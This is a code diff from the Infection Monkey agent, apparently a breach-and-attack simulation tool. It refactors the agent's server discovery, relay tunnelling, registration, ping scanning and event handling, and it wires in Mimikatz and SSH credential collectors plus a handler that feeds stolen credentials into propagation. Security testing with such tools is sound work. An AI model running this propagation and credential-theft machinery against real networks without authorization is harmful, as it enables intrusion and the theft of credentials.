server_clients = find_available_island_apis(
|
||||||
self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
|
self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
|
||||||
)
|
)
|
||||||
|
@ -154,7 +163,8 @@ class InfectionMonkey:
|
||||||
logger.info(f"Successfully connected to the island via {server}")
|
logger.info(f"Successfully connected to the island via {server}")
|
||||||
else:
|
else:
|
||||||
raise Exception(
|
raise Exception(
|
||||||
f"Failed to connect to the island via any known servers: {self._opts.servers}"
|
"Failed to connect to the island via any known servers: "
|
||||||
|
f"[{', '.join(map(str, self._opts.servers))}]"
|
||||||
)
|
)
|
||||||
|
|
||||||
# NOTE: Since we pass the address for each of our interfaces to the exploited
|
# NOTE: Since we pass the address for each of our interfaces to the exploited
|
||||||
|
@ -165,18 +175,30 @@ class InfectionMonkey:
|
||||||
|
|
||||||
return server, island_api_client
|
return server, island_api_client
|
||||||
|
|
||||||
|
def _register_agent(self):
|
||||||
|
agent_registration_data = AgentRegistrationData(
|
||||||
|
id=self._agent_id,
|
||||||
|
machine_hardware_id=get_machine_id(),
|
||||||
|
start_time=agent_process.get_start_time(),
|
||||||
|
# parent_id=parent,
|
||||||
|
parent_id=None, # None for now, until we change GUID to UUID
|
||||||
|
cc_server=self._island_address,
|
||||||
|
network_interfaces=get_network_interfaces(),
|
||||||
|
)
|
||||||
|
self._island_api_client.register_agent(agent_registration_data)
|
||||||
|
|
||||||
def _select_server(
|
def _select_server(
|
||||||
self, server_clients: Mapping[str, Optional[IIslandAPIClient]]
|
self, server_clients: IslandAPISearchResults
|
||||||
) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
|
) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
|
||||||
for server in self._opts.servers:
|
for server in self._opts.servers:
|
||||||
if server_clients[server]:
|
if server_clients[server] is not None:
|
||||||
return server, server_clients[server]
|
return server, server_clients[server]
|
||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _log_arguments(args):
|
def _log_arguments(args):
|
||||||
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
|
arg_string = ", ".join([f"{key}: {value}" for key, value in vars(args).items()])
|
||||||
logger.info(f"Monkey started with arguments: {arg_string}")
|
logger.info(f"Monkey started with arguments: {arg_string}")
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
|
@ -195,7 +217,7 @@ class InfectionMonkey:
|
||||||
|
|
||||||
run_aws_environment_check(self._telemetry_messenger)
|
run_aws_environment_check(self._telemetry_messenger)
|
||||||
|
|
||||||
should_stop = ControlChannel(self._control_client.server_address, GUID).should_agent_stop()
|
should_stop = self._control_channel.should_agent_stop()
|
||||||
if should_stop:
|
if should_stop:
|
||||||
logger.info("The Monkey Island has instructed this agent to stop")
|
logger.info("The Monkey Island has instructed this agent to stop")
|
||||||
return
|
return
|
||||||
|
@ -211,26 +233,21 @@ class InfectionMonkey:
|
||||||
if firewall.is_enabled():
|
if firewall.is_enabled():
|
||||||
firewall.add_firewall_rule()
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
self._control_channel = ControlChannel(self._control_client.server_address, GUID)
|
|
||||||
self._control_channel.register_agent(self._opts.parent)
|
|
||||||
|
|
||||||
config = self._control_channel.get_config()
|
config = self._control_channel.get_config()
|
||||||
|
|
||||||
relay_port = get_free_tcp_port()
|
relay_port = get_free_tcp_port()
|
||||||
self._relay = TCPRelay(
|
self._relay = TCPRelay(
|
||||||
relay_port,
|
relay_port,
|
||||||
IPv4Address(self._cmd_island_ip),
|
self._island_address,
|
||||||
self._cmd_island_port,
|
|
||||||
client_disconnect_timeout=config.keep_tunnel_open_time,
|
client_disconnect_timeout=config.keep_tunnel_open_time,
|
||||||
)
|
)
|
||||||
relay_servers = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()]
|
|
||||||
|
|
||||||
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
|
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
|
||||||
self._relay.start()
|
self._relay.start()
|
||||||
|
|
||||||
StateTelem(is_done=False, version=get_version()).send()
|
StateTelem(is_done=False, version=get_version()).send()
|
||||||
|
|
||||||
self._build_master(relay_servers)
|
self._build_master(relay_port)
|
||||||
|
|
||||||
register_signal_handlers(self._master)
|
register_signal_handlers(self._master)
|
||||||
|
|
||||||
|
@ -241,7 +258,8 @@ class InfectionMonkey:
|
||||||
|
|
||||||
return agent_event_serializer_registry
|
return agent_event_serializer_registry
|
||||||
|
|
||||||
def _build_master(self, relay_servers: List[str]):
|
def _build_master(self, relay_port: int):
|
||||||
|
servers = self._build_server_list(relay_port)
|
||||||
local_network_interfaces = get_network_interfaces()
|
local_network_interfaces = get_network_interfaces()
|
||||||
|
|
||||||
# TODO control_channel and control_client have same responsibilities, merge them
|
# TODO control_channel and control_client have same responsibilities, merge them
|
||||||
|
@ -249,64 +267,64 @@ class InfectionMonkey:
|
||||||
self._control_channel
|
self._control_channel
|
||||||
)
|
)
|
||||||
|
|
||||||
event_queue = PyPubSubAgentEventQueue(Publisher())
|
agent_event_queue = PyPubSubAgentEventQueue(Publisher())
|
||||||
self._subscribe_events(
|
self._subscribe_events(
|
||||||
event_queue,
|
agent_event_queue,
|
||||||
propagation_credentials_repository,
|
propagation_credentials_repository,
|
||||||
self._control_client.server_address,
|
|
||||||
self._agent_event_serializer_registry,
|
self._agent_event_serializer_registry,
|
||||||
)
|
)
|
||||||
|
|
||||||
puppet = self._build_puppet(event_queue)
|
puppet = self._build_puppet(agent_event_queue)
|
||||||
|
|
||||||
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
|
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
|
||||||
|
|
||||||
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
|
|
||||||
self._telemetry_messenger, self._relay
|
|
||||||
)
|
|
||||||
|
|
||||||
self._master = AutomatedMaster(
|
self._master = AutomatedMaster(
|
||||||
self._current_depth,
|
self._current_depth,
|
||||||
self._opts.servers + relay_servers,
|
servers,
|
||||||
puppet,
|
puppet,
|
||||||
telemetry_messenger,
|
self._telemetry_messenger,
|
||||||
victim_host_factory,
|
victim_host_factory,
|
||||||
self._control_channel,
|
self._control_channel,
|
||||||
local_network_interfaces,
|
local_network_interfaces,
|
||||||
propagation_credentials_repository,
|
propagation_credentials_repository,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
def _build_server_list(self, relay_port: int) -> Sequence[str]:
|
||||||
|
my_servers = set(map(str, self._opts.servers))
|
||||||
|
relay_servers = {f"{ip}:{relay_port}" for ip in get_my_ip_addresses()}
|
||||||
|
return list(my_servers.union(relay_servers))
|
||||||
|
|
||||||
def _subscribe_events(
|
def _subscribe_events(
|
||||||
self,
|
self,
|
||||||
event_queue: IAgentEventQueue,
|
agent_event_queue: IAgentEventQueue,
|
||||||
propagation_credentials_repository: IPropagationCredentialsRepository,
|
propagation_credentials_repository: IPropagationCredentialsRepository,
|
||||||
server_address: str,
|
|
||||||
agent_event_serializer_registry: AgentEventSerializerRegistry,
|
agent_event_serializer_registry: AgentEventSerializerRegistry,
|
||||||
):
|
):
|
||||||
event_queue.subscribe_type(
|
agent_event_queue.subscribe_type(
|
||||||
CredentialsStolenEvent,
|
CredentialsStolenEvent,
|
||||||
add_credentials_from_event_to_propagation_credentials_repository(
|
add_stolen_credentials_to_propagation_credentials_repository(
|
||||||
propagation_credentials_repository
|
propagation_credentials_repository
|
||||||
),
|
),
|
||||||
)
|
)
|
||||||
event_queue.subscribe_all_events(
|
agent_event_queue.subscribe_all_events(
|
||||||
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
|
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
|
||||||
)
|
)
|
||||||
|
agent_event_queue.subscribe_type(PropagationEvent, notify_relay_on_propagation(self._relay))
|
||||||
|
|
||||||
def _build_puppet(
|
def _build_puppet(
|
||||||
self,
|
self,
|
||||||
event_queue: IAgentEventQueue,
|
agent_event_queue: IAgentEventQueue,
|
||||||
) -> IPuppet:
|
) -> IPuppet:
|
||||||
puppet = Puppet()
|
puppet = Puppet(agent_event_queue)
|
||||||
|
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"MimikatzCollector",
|
"MimikatzCollector",
|
||||||
MimikatzCredentialCollector(event_queue),
|
MimikatzCredentialCollector(agent_event_queue),
|
||||||
PluginType.CREDENTIAL_COLLECTOR,
|
PluginType.CREDENTIAL_COLLECTOR,
|
||||||
)
|
)
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"SSHCollector",
|
"SSHCollector",
|
||||||
SSHCredentialCollector(self._telemetry_messenger, event_queue),
|
SSHCredentialCollector(self._telemetry_messenger, agent_event_queue),
|
||||||
PluginType.CREDENTIAL_COLLECTOR,
|
PluginType.CREDENTIAL_COLLECTOR,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -320,7 +338,7 @@ class InfectionMonkey:
|
||||||
island_api_client=self._island_api_client,
|
island_api_client=self._island_api_client,
|
||||||
)
|
)
|
||||||
exploit_wrapper = ExploiterWrapper(
|
exploit_wrapper = ExploiterWrapper(
|
||||||
self._telemetry_messenger, event_queue, agent_binary_repository
|
self._telemetry_messenger, agent_event_queue, agent_binary_repository
|
||||||
)
|
)
|
||||||
|
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
|
@ -420,8 +438,8 @@ class InfectionMonkey:
|
||||||
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
|
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
|
||||||
|
|
||||||
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
|
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
|
||||||
server_ip, _ = address_to_ip_port(self._control_client.server_address)
|
server_ip = self._control_client.server_address.ip
|
||||||
return server_ip in {str(interface.ip) for interface in local_network_interfaces}
|
return server_ip in {interface.ip for interface in local_network_interfaces}
|
||||||
|
|
||||||
def _is_another_monkey_running(self):
|
def _is_another_monkey_running(self):
|
||||||
return not self._singleton.try_lock()
|
return not self._singleton.try_lock()
|
||||||
|
@ -470,17 +488,17 @@ class InfectionMonkey:
|
||||||
|
|
||||||
def _close_tunnel(self):
|
def _close_tunnel(self):
|
||||||
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
|
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
|
||||||
notify_disconnect(self._cmd_island_ip, self._cmd_island_port)
|
notify_disconnect(self._island_address)
|
||||||
|
|
||||||
def _send_log(self):
|
def _send_log(self):
|
||||||
monkey_log_path = get_agent_log_path()
|
monkey_log_path = get_agent_log_path()
|
||||||
if monkey_log_path.is_file():
|
if monkey_log_path.is_file():
|
||||||
with open(monkey_log_path, "r") as f:
|
with open(monkey_log_path, "r") as f:
|
||||||
log = f.read()
|
log_contents = f.read()
|
||||||
else:
|
else:
|
||||||
log = ""
|
log_contents = ""
|
||||||
|
|
||||||
self._control_client.send_log(log)
|
self._island_api_client.send_log(self._agent_id, log_contents)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _self_delete() -> bool:
|
def _self_delete() -> bool:
|
||||||
|
|
|
@ -4,7 +4,7 @@ import struct
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from random import shuffle # noqa: DUO102
|
from random import shuffle # noqa: DUO102
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
from typing import Dict, Set
|
from typing import Dict, Optional, Set
|
||||||
|
|
||||||
import netifaces
|
import netifaces
|
||||||
import psutil
|
import psutil
|
||||||
|
@ -25,7 +25,7 @@ RTF_REJECT = 0x0200
|
||||||
@dataclass
|
@dataclass
|
||||||
class NetworkAddress:
|
class NetworkAddress:
|
||||||
ip: str
|
ip: str
|
||||||
domain: str
|
domain: Optional[str]
|
||||||
|
|
||||||
|
|
||||||
def get_host_subnets():
|
def get_host_subnets():
|
||||||
|
|
|
@ -1,9 +1,10 @@
|
||||||
import socket
|
import socket
|
||||||
from ipaddress import IPv4Address
|
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
from typing import Set
|
from typing import Set
|
||||||
|
|
||||||
|
from common.types import SocketAddress
|
||||||
|
|
||||||
from .consts import SOCKET_TIMEOUT
|
from .consts import SOCKET_TIMEOUT
|
||||||
from .sockets_pipe import SocketsPipe
|
from .sockets_pipe import SocketsPipe
|
||||||
|
|
||||||
|
@ -15,9 +16,9 @@ class TCPPipeSpawner:
|
||||||
Creates bi-directional pipes between the configured client and other clients.
|
Creates bi-directional pipes between the configured client and other clients.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, target_addr: IPv4Address, target_port: int):
|
def __init__(self, target_addr: SocketAddress):
|
||||||
self._target_addr = target_addr
|
self._target_ip = target_addr.ip
|
||||||
self._target_port = target_port
|
self._target_port = target_addr.port
|
||||||
self._pipes: Set[SocketsPipe] = set()
|
self._pipes: Set[SocketsPipe] = set()
|
||||||
self._lock = Lock()
|
self._lock = Lock()
|
||||||
|
|
||||||
|
@ -31,7 +32,7 @@ class TCPPipeSpawner:
|
||||||
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
dest.settimeout(SOCKET_TIMEOUT)
|
dest.settimeout(SOCKET_TIMEOUT)
|
||||||
try:
|
try:
|
||||||
dest.connect((str(self._target_addr), self._target_port))
|
dest.connect((str(self._target_ip), self._target_port))
|
||||||
except OSError as err:
|
except OSError as err:
|
||||||
source.close()
|
source.close()
|
||||||
dest.close()
|
dest.close()
|
||||||
|
|
|
@ -3,6 +3,7 @@ from logging import getLogger
|
||||||
from threading import Lock, Thread
|
from threading import Lock, Thread
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
|
from common.types import SocketAddress
|
||||||
from infection_monkey.network.relay import (
|
from infection_monkey.network.relay import (
|
||||||
RelayConnectionHandler,
|
RelayConnectionHandler,
|
||||||
RelayUserHandler,
|
RelayUserHandler,
|
||||||
|
@ -22,15 +23,14 @@ class TCPRelay(Thread, InterruptableThreadMixin):
|
||||||
def __init__(
|
def __init__(
|
||||||
self,
|
self,
|
||||||
relay_port: int,
|
relay_port: int,
|
||||||
dest_addr: IPv4Address,
|
dest_address: SocketAddress,
|
||||||
dest_port: int,
|
|
||||||
client_disconnect_timeout: float,
|
client_disconnect_timeout: float,
|
||||||
):
|
):
|
||||||
self._user_handler = RelayUserHandler(
|
self._user_handler = RelayUserHandler(
|
||||||
new_client_timeout=client_disconnect_timeout,
|
new_client_timeout=client_disconnect_timeout,
|
||||||
client_disconnect_timeout=client_disconnect_timeout,
|
client_disconnect_timeout=client_disconnect_timeout,
|
||||||
)
|
)
|
||||||
self._pipe_spawner = TCPPipeSpawner(dest_addr, dest_port)
|
self._pipe_spawner = TCPPipeSpawner(dest_address)
|
||||||
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
|
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
|
||||||
self._connection_handler = TCPConnectionHandler(
|
self._connection_handler = TCPConnectionHandler(
|
||||||
bind_host="",
|
bind_host="",
|
||||||
|
|
|
@ -1,11 +1,10 @@
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
from contextlib import suppress
|
from contextlib import suppress
|
||||||
from ipaddress import IPv4Address
|
from typing import Dict, Iterable, Iterator, Optional
|
||||||
from typing import Dict, Iterable, Iterator, Mapping, MutableMapping, Optional, Tuple
|
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
from common.network.network_utils import address_to_ip_port
|
from common.types import SocketAddress
|
||||||
from infection_monkey.island_api_client import (
|
from infection_monkey.island_api_client import (
|
||||||
AbstractIslandAPIClientFactory,
|
AbstractIslandAPIClientFactory,
|
||||||
IIslandAPIClient,
|
IIslandAPIClient,
|
||||||
|
@ -27,12 +26,15 @@ logger = logging.getLogger(__name__)
|
||||||
NUM_FIND_SERVER_WORKERS = 32
|
NUM_FIND_SERVER_WORKERS = 32
|
||||||
|
|
||||||
|
|
||||||
|
IslandAPISearchResults = Dict[SocketAddress, Optional[IIslandAPIClient]]
|
||||||
|
|
||||||
|
|
||||||
def find_available_island_apis(
|
def find_available_island_apis(
|
||||||
servers: Iterable[str], island_api_client_factory: AbstractIslandAPIClientFactory
|
servers: Iterable[SocketAddress], island_api_client_factory: AbstractIslandAPIClientFactory
|
||||||
) -> Mapping[str, Optional[IIslandAPIClient]]:
|
) -> IslandAPISearchResults:
|
||||||
server_list = list(servers)
|
server_list = list(servers)
|
||||||
server_iterator = ThreadSafeIterator(server_list.__iter__())
|
server_iterator = ThreadSafeIterator(server_list.__iter__())
|
||||||
server_results: Dict[str, Tuple[bool, IIslandAPIClient]] = {}
|
server_results: IslandAPISearchResults = {}
|
||||||
|
|
||||||
run_worker_threads(
|
run_worker_threads(
|
||||||
_find_island_server,
|
_find_island_server,
|
||||||
|
@ -45,18 +47,18 @@ def find_available_island_apis(
|
||||||
|
|
||||||
|
|
||||||
def _find_island_server(
|
def _find_island_server(
|
||||||
servers: Iterator[str],
|
servers: Iterator[SocketAddress],
|
||||||
server_status: MutableMapping[str, Optional[IIslandAPIClient]],
|
server_results: IslandAPISearchResults,
|
||||||
island_api_client_factory: AbstractIslandAPIClientFactory,
|
island_api_client_factory: AbstractIslandAPIClientFactory,
|
||||||
):
|
):
|
||||||
with suppress(StopIteration):
|
with suppress(StopIteration):
|
||||||
server = next(servers)
|
server = next(servers)
|
||||||
server_status[server] = _check_if_island_server(server, island_api_client_factory)
|
server_results[server] = _check_if_island_server(server, island_api_client_factory)
|
||||||
|
|
||||||
|
|
||||||
def _check_if_island_server(
|
def _check_if_island_server(
|
||||||
server: str, island_api_client_factory: AbstractIslandAPIClientFactory
|
server: SocketAddress, island_api_client_factory: AbstractIslandAPIClientFactory
|
||||||
) -> IIslandAPIClient:
|
) -> Optional[IIslandAPIClient]:
|
||||||
logger.debug(f"Trying to connect to server: {server}")
|
logger.debug(f"Trying to connect to server: {server}")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -76,34 +78,28 @@ def _check_if_island_server(
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[str]):
|
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[SocketAddress]):
|
||||||
for i, server in enumerate(servers, start=1):
|
for i, server in enumerate(servers, start=1):
|
||||||
t = create_daemon_thread(
|
t = create_daemon_thread(
|
||||||
target=_send_remove_from_waitlist_control_message_to_relay,
|
target=notify_disconnect,
|
||||||
name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}",
|
name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}",
|
||||||
args=(server,),
|
args=(server,),
|
||||||
)
|
)
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
|
|
||||||
def _send_remove_from_waitlist_control_message_to_relay(server: str):
|
def notify_disconnect(server_address: SocketAddress):
|
||||||
ip, port = address_to_ip_port(server)
|
|
||||||
notify_disconnect(IPv4Address(ip), int(port))
|
|
||||||
|
|
||||||
|
|
||||||
def notify_disconnect(server_ip: IPv4Address, server_port: int):
|
|
||||||
"""
|
"""
|
||||||
Tell upstream relay that we no longer need the relay.
|
Tell upstream relay that we no longer need the relay
|
||||||
|
|
||||||
:param server_ip: The IP address of the server to notify.
|
:param server_address: The address of the server to notify
|
||||||
:param server_port: The port of the server to notify.
|
|
||||||
"""
|
"""
|
||||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
|
||||||
d_socket.settimeout(LONG_REQUEST_TIMEOUT)
|
d_socket.settimeout(LONG_REQUEST_TIMEOUT)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
d_socket.connect((str(server_ip), server_port))
|
d_socket.connect((str(server_address.ip), server_address.port))
|
||||||
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
|
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
|
||||||
logger.info(f"Control message was sent to the server/relay {server_ip}:{server_port}")
|
logger.info(f"Control message was sent to the server/relay {server_address}")
|
||||||
except OSError as err:
|
except OSError as err:
|
||||||
logger.error(f"Error connecting to socket {server_ip}:{server_port}: {err}")
|
logger.error(f"Error connecting to socket {server_address}: {err}")
|
||||||
|
|
|
@ -3,6 +3,8 @@ import select
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import sys
|
import sys
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
from common.common_consts.timeouts import CONNECTION_TIMEOUT
|
from common.common_consts.timeouts import CONNECTION_TIMEOUT
|
||||||
from infection_monkey.network.info import get_routes
|
from infection_monkey.network.info import get_routes
|
||||||
|
@ -13,7 +15,7 @@ BANNER_READ = 1024
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
"""
|
"""
|
||||||
Checks if a given TCP port is open
|
Checks if a given TCP port is open
|
||||||
:param ip: Target IP
|
:param ip: Target IP
|
||||||
|
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
sock.settimeout(timeout)
|
sock.settimeout(timeout)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.connect((ip, port))
|
sock.connect((str(ip), port))
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
return False, None
|
return False, None
|
||||||
except socket.error as exc:
|
except socket.error as exc:
|
||||||
|
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
|
||||||
return "tcp-" + str(port)
|
return "tcp-" + str(port)
|
||||||
|
|
||||||
|
|
||||||
def get_interface_to_target(dst):
|
def get_interface_to_target(dst: str) -> Optional[str]:
|
||||||
"""
|
"""
|
||||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||||
|
|
|
@ -5,13 +5,8 @@ from typing import Any, Dict
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
from common.common_consts.network_consts import ES_SERVICE
|
from common.common_consts.network_consts import ES_SERVICE
|
||||||
from infection_monkey.i_puppet import (
|
from common.types import PingScanData, PortStatus
|
||||||
FingerprintData,
|
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||||
IFingerprinter,
|
|
||||||
PingScanData,
|
|
||||||
PortScanData,
|
|
||||||
PortStatus,
|
|
||||||
)
|
|
||||||
|
|
||||||
DISPLAY_NAME = "ElasticSearch"
|
DISPLAY_NAME = "ElasticSearch"
|
||||||
ES_PORT = 9200
|
ES_PORT = 9200
|
||||||
|
|
|
@ -5,13 +5,8 @@ from typing import Any, Dict, Iterable, Optional, Set, Tuple
|
||||||
from requests import head
|
from requests import head
|
||||||
from requests.exceptions import ConnectionError, Timeout
|
from requests.exceptions import ConnectionError, Timeout
|
||||||
|
|
||||||
from infection_monkey.i_puppet import (
|
from common.types import PingScanData, PortStatus
|
||||||
FingerprintData,
|
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||||
IFingerprinter,
|
|
||||||
PingScanData,
|
|
||||||
PortScanData,
|
|
||||||
PortStatus,
|
|
||||||
)
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,8 @@ import logging
|
||||||
import socket
|
import socket
|
||||||
from typing import Any, Dict, Optional
|
from typing import Any, Dict, Optional
|
||||||
|
|
||||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
|
from common.types import PingScanData
|
||||||
|
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||||
|
|
||||||
MSSQL_SERVICE = "MSSQL"
|
MSSQL_SERVICE = "MSSQL"
|
||||||
DISPLAY_NAME = MSSQL_SERVICE
|
DISPLAY_NAME = MSSQL_SERVICE
|
||||||
|
|
|
@ -4,10 +4,16 @@ import os
|
||||||
import re
|
import re
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
from time import time
|
||||||
|
from typing import Tuple
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import OperatingSystem
|
||||||
from infection_monkey.i_puppet import PingScanData
|
from common.agent_events import PingScanEvent
|
||||||
|
from common.event_queue import IAgentEventQueue
|
||||||
|
from common.types import PingScanData
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
from infection_monkey.utils.ids import get_agent_id
|
||||||
|
|
||||||
TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE)
|
TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE)
|
||||||
LINUX_TTL = 64 # Windows TTL is 128
|
LINUX_TTL = 64 # Windows TTL is 128
|
||||||
|
@ -17,27 +23,30 @@ EMPTY_PING_SCAN = PingScanData(False, None)
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def ping(host: str, timeout: float) -> PingScanData:
|
def ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
|
||||||
try:
|
try:
|
||||||
return _ping(host, timeout)
|
return _ping(host, timeout, agent_event_queue)
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.exception("Unhandled exception occurred while running ping")
|
logger.exception("Unhandled exception occurred while running ping")
|
||||||
return EMPTY_PING_SCAN
|
return EMPTY_PING_SCAN
|
||||||
|
|
||||||
|
|
||||||
def _ping(host: str, timeout: float) -> PingScanData:
|
def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
timeout = math.floor(timeout * 1000)
|
timeout = math.floor(timeout * 1000)
|
||||||
|
|
||||||
ping_command_output = _run_ping_command(host, timeout)
|
event_timestamp, ping_command_output = _run_ping_command(host, timeout)
|
||||||
|
|
||||||
ping_scan_data = _process_ping_command_output(ping_command_output)
|
ping_scan_data = _process_ping_command_output(ping_command_output)
|
||||||
logger.debug(f"{host} - {ping_scan_data}")
|
logger.debug(f"{host} - {ping_scan_data}")
|
||||||
|
|
||||||
|
ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp)
|
||||||
|
agent_event_queue.publish(ping_scan_event)
|
||||||
|
|
||||||
return ping_scan_data
|
return ping_scan_data
|
||||||
|
|
||||||
|
|
||||||
def _run_ping_command(host: str, timeout: float) -> str:
|
def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
|
||||||
ping_cmd = _build_ping_command(host, timeout)
|
ping_cmd = _build_ping_command(host, timeout)
|
||||||
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
||||||
|
|
||||||
|
@ -45,6 +54,8 @@ def _run_ping_command(host: str, timeout: float) -> str:
|
||||||
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
|
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
|
||||||
# in this case. See #1175 and #1403 for more information.
|
# in this case. See #1175 and #1403 for more information.
|
||||||
encoding = os.device_encoding(1)
|
encoding = os.device_encoding(1)
|
||||||
|
|
||||||
|
ping_event_timestamp = time()
|
||||||
sub_proc = subprocess.Popen(
|
sub_proc = subprocess.Popen(
|
||||||
ping_cmd,
|
ping_cmd,
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
|
@ -64,9 +75,9 @@ def _run_ping_command(host: str, timeout: float) -> str:
|
||||||
logger.debug(output)
|
logger.debug(output)
|
||||||
except subprocess.TimeoutExpired as te:
|
except subprocess.TimeoutExpired as te:
|
||||||
logger.error(te)
|
logger.error(te)
|
||||||
return ""
|
return ping_event_timestamp, ""
|
||||||
|
|
||||||
return output
|
return ping_event_timestamp, output
|
||||||
|
|
||||||
|
|
||||||
def _process_ping_command_output(ping_command_output: str) -> PingScanData:
|
def _process_ping_command_output(ping_command_output: str) -> PingScanData:
|
||||||
|
@ -78,11 +89,8 @@ def _process_ping_command_output(ping_command_output: str) -> PingScanData:
|
||||||
# match at all if the group isn't found or the contents of the group are not only digits.
|
# match at all if the group isn't found or the contents of the group are not only digits.
|
||||||
ttl = int(ttl_match.group(1))
|
ttl = int(ttl_match.group(1))
|
||||||
|
|
||||||
operating_system = None
|
# could also be OSX/BSD, but lets handle that when it comes up.
|
||||||
if ttl <= LINUX_TTL:
|
operating_system = OperatingSystem.LINUX if ttl <= LINUX_TTL else OperatingSystem.WINDOWS
|
||||||
operating_system = OperatingSystem.LINUX
|
|
||||||
